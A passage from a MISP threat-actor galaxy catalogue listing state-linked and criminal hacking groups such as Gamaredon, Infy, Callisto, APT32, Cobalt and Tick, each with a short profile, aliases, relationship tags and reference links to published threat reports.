Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.

The tag is: *misp-galaxy:threat-actor="Gamaredon Group"*

Gamaredon Group is also known as:

- ACTINIUM
- DEV-0157
- Blue Otso
- BlueAlpha
- G0047
- IRON TILDEN
- PRIMITIVE BEAR
- Shuckworm
- Trident Ursa
- UAC-0010
- Winterflounder
- Aqua Blizzard
- Actinium

View relationships graph

Gamaredon Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Aqua Blizzard" with estimative-language:likelihood-probability="likely"

Table 18196. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution
https://www.lookingglasscyber.com/wp-content/uploads/2015/08/Operation_Armageddon_Final.pdf
https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution
https://attack.mitre.org/groups/G0047
https://github.com/StrangerealIntel/CyberThreatIntel/tree/master/Russia/APT/Gamaredon
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021
https://go.recordedfuture.com/hubfs/reports/cta-2019-1212.pdf
https://unit42.paloaltonetworks.com/atoms/tridentursa
https://cert.gov.ua/article/1229152
https://cert.gov.ua/article/971405
https://cert.gov.ua/article/40240
https://cert.gov.ua/article/39386
https://cert.gov.ua/article/39086
https://cert.gov.ua/article/39138
https://cert.gov.ua/article/18365
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

Infy

Infy is a group of suspected Iranian origin. Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line5with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group’s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks

against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.

The tag is: *misp-galaxy:threat-actor="Infy"*

Infy is also known as:

- Operation Mermaid
- Prince of Persia
- Foudre

Table 18197. Table References

Links
https://www.intezer.com/prince-of-persia-the-sands-of-foudre/
https://www.freebuf.com/articles/network/105726.html
https://www.blackhat.com/docs/us-16/materials/us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf
https://iranthreats.github.io/
http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/
https://www.cfr.org/interactive/cyber-operations/prince-persia
https://unit42.paloaltonetworks.com/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://unit42.paloaltonetworks.com/unit42-prince-persia-ride-lightning-infy-returns-foudre/

Sima

Sima is a group of suspected Iranian origin targeting Iranians in diaspora. In February 2016, Iran-focused individuals received messages purporting to be from Human RightsWatch's (HRW) Emergencies Director, requesting that they read an article about Iran pressing Afghanr efugees to fight in Syria. While referencing a real report published by HRW, the links provided for the Director's biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact

with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address to how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms, are a refinement compared to a tendency amongst other groups to simply continually send different forms of generic malware or phishing, in the hopes that one would eventually be successful.

The tag is: *misp-galaxy:threat-actor="Sima"*

Table 18198. Table References

Links
https://www.blackhat.com/docs/us-16/materials/us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf
https://iranthreats.github.io/

Blue Termite

Blue Termite is a group of suspected Chinese origin active in Japan.

The tag is: *misp-galaxy:threat-actor="Blue Termite"*

Blue Termite is also known as:

- Cloudy Omega
- Emdivi

Table 18199. Table References

Links
https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/
https://www.cfr.org/interactive/cyber-operations/blue-termite

Groundbait

Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People's Republics.

The tag is: *misp-galaxy:threat-actor="Groundbait"*

Table 18200. Table References

Links
http://www.welivesecurity.com/2016/05/18/groundbait

Longhorn

Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."

The tag is: *misp-galaxy:threat-actor="Longhorn"*

Longhorn is also known as:

- Lamberts
- the Lamberts
- APT-C-39
- PLATINUM TERMINAL

View relationships graph

Longhorn has relationships with:

- similar: misp-galaxy:threat-actor="Equation Group" with estimative-language:likelihood-probability="likely"

Table 18201. Table References

Links
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.bleepingcomputer.com/news/security/longhorn-cyber-espionage-group-is-actually-the-cia/
https://www.cfr.org/interactive/cyber-operations/longhorn
http://blogs.360.cn/post/APT-C-39_CIA_EN.html
https://www.secureworks.com/research/threat-profiles/platinum-terminal

Callisto

The Callisto Group is an advanced threat actor whose known targets include military personnel,

government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.

The tag is: *misp-galaxy:threat-actor="Callisto"*

Callisto is also known as:

- COLDRIVER
- SEABORGIUM
- TA446
- GOSSAMER BEAR
- BlueCharlie
- Star Blizzard
- TAG-53
- IRON FRONTIER
- UNC4057
- Blue Callisto

Table 18202. Table References

Links
https://web.archive.org/web/20170417102235/https://www.f-secure.com/documents/996508/1030745/callisto-group
https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe
https://blog.google/threat-analysis-group/update-on-cyber-activity-in-eastern-europe
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://www.microsoft.com/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations
https://blog.sekoia.io/calisto-continues-its-credential-harvesting-campaign
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf
https://www.recordedfuture.com/research/bluecharlie-previously-tracked-as-tag-53-continues-to-deploy-new-infrastructure-in-2023
https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/
https://go.recordedfuture.com/hubfs/reports/cta-2022-1205.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/blue-callisto-orbits-around-us.html
https://www.ncsc.gov.uk/files/Advisory-Russian-FSB-cyber-actor-star-blizzard-continues-worldwide-spear-sphishing-campaigns.pdf

https://cloud.google.com/blog/topics/threat-intelligence/cyber-threats-global-elections
https://cloud.google.com/blog/topics/threat-intelligence/cyber-threats-2024-paris-olympics
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware
https://citizenlab.ca/2024/08/sophisticated-phishing-targets-russias-perceived-enemies-around-the-globe/
https://www.gov.uk/government/news/uk-exposes-attempted-russian-cyber-interference-in-politics-and-democratic-processes
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/coldwastrel-space.html
https://citizenlab.ca/2024/10/disrupting-coldriver/
https://blogs.microsoft.com/on-the-issues/2024/10/03/protecting-democratic-institutions-from-cyber-threats/
https://www.justice.gov/opa/pr/justice-department-disrupts-russian-intelligence-spear-phishing-efforts
https://www.justice.gov/opa/pr/two-russian-nationals-working-russias-federal-security-service-charged-global-computer
https://www.justice.gov/opa/media/1327601/dl?inline
https://www.noticeofpleadings.com/starblizzard/
https://edeca.net/post/2024-06-26-an-interesting-callisto-yara-rule
https://blog.sekoia.io/calisto-show-interests-into-entities-involved-in-ukraine-war-support
https://blog.sekoia.io/one-year-after-the-cyber-implications-of-the-russo-ukrainian-war/
https://blog.sekoia.io/calisto-doxxing-sekoia-io-findings-concurs-to-reuters-investigation-on-fsb-related-andrey-korinets/

APT32

Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.

The tag is: *misp-galaxy:threat-actor="APT32"*

APT32 is also known as:

- OceanLotus Group
- Ocean Lotus
- OceanLotus
- Cobalt Kitty
- APT-C-00

- SeaLotus
- Sea Lotus
- APT-32
- APT 32
- Ocean Buffalo
- POND LOACH
- TIN WOODLAWN
- BISMUTH
- ATK17
- G0050
- Canvas Cyclone

View relationships graph

APT32 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT32 - G0050" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Canvas Cyclone" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-00" with estimative-language:likelihood-probability="likely"

Table 18203. Table References

Links
https://attack.mitre.org/groups/G0050/
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/
https://www.scmagazineuk.com/ocean-lotus-groupapt-32-identified-as-vietnamese-apt-group/article/663565/
https://www.brighttalk.com/webcast/10703/261205
https://github.com/eset/malware-research/tree/master/oceanlotus
https://www.cfr.org/interactive/cyber-operations/ocean-lotus
https://www.accenture.com/us-en/blogs/blogs-pond-loach-delivers-badcake-malware
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/

https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html
https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them
https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam

SilverTerrier

As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.

The tag is: *misp-galaxy:threat-actor="SilverTerrier"*

Table 18204. Table References

Links
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf

WildNeutron

A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks. Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.

The tag is: *misp-galaxy:threat-actor="WildNeutron"*

WildNeutron is also known as:

- Butterfly
- Morpho
- Sphinx Moth

Table 18205. Table References

Links
https://www.symantec.com/connect/blogs/butterfly-profiting-high-level-corporate-attacks
https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/
https://research.kudelskisecurity.com/2015/11/05/sphinx-moth-expanding-our-knowledge-of-the-wild-neutron-morpho-apt/
https://blog.twitter.com/official/en_us/a/2013/keeping-our-users-secure.html
https://www.facebook.com/notes/facebook-security/protecting-people-on-facebook/10151249208250766
https://www.reuters.com/article/us-apple-hackers/exclusive-apple-macs-hit-by-hackers-who-targeted-facebook-idUSBRE91I10920130219
https://blogs.technet.microsoft.com/msrc/2013/02/22/recent-cyberattacks/

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group's persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:threat-actor="PLATINUM"*

PLATINUM is also known as:

- TwoForOne
- G0068
- ATK33

View relationships graph

PLATINUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"

Table 18206. Table References

Links
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/
https://attack.mitre.org/groups/G0068/

RASPITE

Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.

The tag is: *misp-galaxy:threat-actor="RASPITE"*

RASPITE is also known as:

- LeafMiner
- Raspite

Table 18207. Table References

Links
https://dragos.com/blog/20180802Raspite.html
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east
https://attack.mitre.org/groups/G0077/

FIN8

FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries. The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.

The tag is: *misp-galaxy:threat-actor="FIN8"*

FIN8 is also known as:

- ATK113
- G0061

View relationships graph

FIN8 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="FIN8 - G0061" with estimative-language:likelihood-probability="likely"

Table 18208. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html
https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp.pdf
https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf
https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://attack.mitre.org/groups/G0061

El Machete

El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We've found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.

The tag is: *misp-galaxy:threat-actor="El Machete"*

El Machete is also known as:

- Machete
- machete-apt
- APT-C-43
- G0095

View relationships graph

El Machete has relationships with:

- similar: misp-galaxy:360net-threat-actor="Machete - APT-C-43" with estimative-language:likelihood-probability="likely"

Table 18209. Table References

Links
https://attack.mitre.org/groups/G0095/

https://securelist.com/el-machete/66108/
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html
https://www.cfr.org/interactive/cyber-operations/machete
https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html
https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/

Cobalt

A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Malaysia being raided simultaneously, in the span of a few hours. The group has been active since June 2016, and their latest attacks happened in July and August.

The tag is: *misp-galaxy:threat-actor="Cobalt"*

Cobalt is also known as:

- Cobalt Group
- Cobalt Gang
- GOLD KINGSWOOD
- COBALT SPIDER
- G0080
- Mule Libra

Table 18210. Table References

Links
https://www.helpnetsecurity.com/2016/11/22/cobalt-hackers-synchronized-atm-heists/
https://www.bleepingcomputer.com/news/security/cobalt-hacking-group-tests-banks-in-russia-and-romania/
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-september-cobalt-spider/
https://www.group-ib.com/blog/cobalt
https://www.reuters.com/article/us-taiwan-cyber-atms/taiwan-atm-heist-linked-to-european-hacking-spree-security-firm-idUSKBN14P0CX
https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/

https://www.riskiq.com/blog/labs/cobalt-strike/
https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/
https://unit42.paloaltonetworks.com/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://www.computerweekly.com/news/252446153/Three-Carbanak-cyber-heist-gang-members-arrested
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf
https://attack.mitre.org/groups/G0080/
http://www.secureworks.com/research/threat-profiles/gold-kingswood
https://unit42.paloaltonetworks.com/atoms/mulelibra/

TA459

The tag is: *misp-galaxy:threat-actor="TA459"*

TA459 is also known as:

- G0062

View relationships graph

TA459 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="TA459 - G0062" with estimative-language:likelihood-probability="likely"

Table 18211. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts
https://attack.mitre.org/groups/G0062/

Cyber Berkut

The tag is: *misp-galaxy:threat-actor="Cyber Berkut"*

Table 18212. Table References

Links
<a href="https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/<mark>.V-wnrubaeEU.twitter">https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/</mark>.V-wnrubaeEU.twitter

Tonto Team

Tonto Team is a Chinese-speaking APT group that has been active since at least 2013. They primarily target military, diplomatic, and infrastructure organizations in Asia and Eastern Europe. The group has been observed using various malware, including the Bisonal RAT and ShadowPad. They employ spear-phishing emails with malicious attachments as their preferred method of distribution.

The tag is: *misp-galaxy:threat-actor="Tonto Team"*

Tonto Team is also known as:

- CactusPete
- KARMA PANDA
- BRONZE HUNTLEY
- COPPER
- Red Beifang
- G0131
- PLA Unit 65017
- Earth Akhlut
- TAG-74

Table 18213. Table References

Links
https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf
https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/
https://www.wsj.com/articles/chinas-secret-weapon-in-south-korea-missile-fight-hackers-1492766403
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://www.trendmicro.com/en_us/research/23/g/supply-chain-attack-targeting-pakistani-government-delivers-shad.html
https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/
https://go.recordedfuture.com/hubfs/reports/cta-2023-0919.pdf

https://www.recordedfuture.com/multi-year-chinese-apt-campaign-targets-south-korean-academic-government-political-entities

Danti

The tag is: *misp-galaxy:threat-actor="Danti"*

Table 18214. Table References

Links
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/

APT5

We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. APT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm's business relationship with a national military, including inventories and memoranda about specific products they provided. In one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company's relationships with other telecommunications companies

The tag is: *misp-galaxy:threat-actor="APT5"*

APT5 is also known as:

- KEYHOLE PANDA
- MANGANESE
- BRONZE FLEETWOOD
- TEMP.Bottle
- Mulberry Typhoon
- Poisoned Flight

View relationships graph

APT5 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Mulberry Typhoon" with estimative-language:likelihood-probability="likely"

Table 18215. Table References

Links
https://www.fireeye.com/current-threats/apt-groups.html
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf
https://www.secureworks.com/research/threat-profiles/bronze-fleetwood
https://www.mandiant.com/resources/insights/apt-groups
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi
http://internal-www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html

Tick

Tick is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes. The attacks appear to be centered on political, media, and engineering sectors. STALKER PANDA has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States.

The tag is: *misp-galaxy:threat-actor="Tick"*

Tick is also known as:

- Nian
- BRONZE BUTLER
- REDBALDKNIGHT
- STALKER PANDA
- G0060
- Stalker Taurus
- PLA Unit 61419
- Swirl Typhoon

View relationships graph

Tick has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060" with estimative-language:likelihood-probability="likely"

Table 18216. Table References

Links

https://wikileaks.org/vault7/document/2015-08-20150814-256-CSIR-15005-Stalker-Panda/2015-08-20150814-256-CSIR-15005-Stalker-Panda.pdf
https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan
https://www.secureworks.jp/resources/rp-bronze-butler
https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html
https://www.cfr.org/interactive/cyber-operations/bronze-butler
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://attack.mitre.org/groups/G0060/
https://www.secureworks.com/research/threat-profiles/bronze-butler
https://unit42.paloaltonetworks.com/atoms/stalkertaurus/
https://twitter.com/iiyonite/status/1384431491485155331
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

APT26

The tag is: *misp-galaxy:threat-actor="APT26"*

APT26 is also known as:

- JerseyMikes
- TURBINE PANDA
- BRONZE EXPRESS
- TECHNETIUM
- Taffeta Typhoon

View relationships graph

APT26 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Turla" with estimative-language:likelihood-probability="likely"

Table 18217. Table References

Links
https://www.secureworks.com/research/threat-profiles/bronze-express

https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

SABRE PANDA

The tag is: *misp-galaxy:threat-actor="SABRE PANDA"*

Table 18218. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

BIG PANDA

The tag is: *misp-galaxy:threat-actor="BIG PANDA"*

Table 18219. Table References

Links
http://www.darkreading.com/attacks-and-breaches/crowdstrike-falcon-traces-attacks-back-to-hackers/d/d-id/1110402?

POISONUS PANDA

The tag is: *misp-galaxy:threat-actor="POISONUS PANDA"*

Table 18220. Table References

Links
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492182276.pdf

Ghost Jackal

The tag is: *misp-galaxy:threat-actor="Ghost Jackal"*

Table 18221. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

TEMP.Hermit

The tag is: *misp-galaxy:threat-actor="TEMP.Hermit"*

Table 18222. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/02/attacks-leveraging-adobe-zero-day.html

Mofang

The tag is: *misp-galaxy:threat-actor="Mofang"*

Mofang is also known as:

- Superman
- BRONZE WALKER

Table 18223. Table References

Links
https://blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information-stealing-adversary/
https://www.cfr.org/interactive/cyber-operations/mofang
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf
https://www.secureworks.com/research/threat-profiles/bronze-walker

CopyKittens

The tag is: *misp-galaxy:threat-actor="CopyKittens"*

CopyKittens is also known as:

- Slayer Kitten
- G0052

View relationships graph

CopyKittens has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="CopyKittens - G0052" with estimative-language:likelihood-probability="likely"

Table 18224. Table References

Links
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf
https://www.domaintools.com/resources/blog/case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastr
http://www.clearskysec.com/copykitten-jpost/
http://www.clearskysec.com/tulip/
https://www.cfr.org/interactive/cyber-operations/copykittens

https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://attack.mitre.org/groups/G0052/

EvilPost

The tag is: *misp-galaxy:threat-actor="EvilPost"*

Table 18225. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

TEST PANDA

The tag is: *misp-galaxy:threat-actor="TEST PANDA"*

Table 18226. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

Madi

Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.

The tag is: *misp-galaxy:threat-actor="Madi"*

Table 18227. Table References

Links
https://securelist.com/the-madi-campaign-part-i-5/33693/
https://securelist.com/the-madi-campaign-part-ii-53/33701/
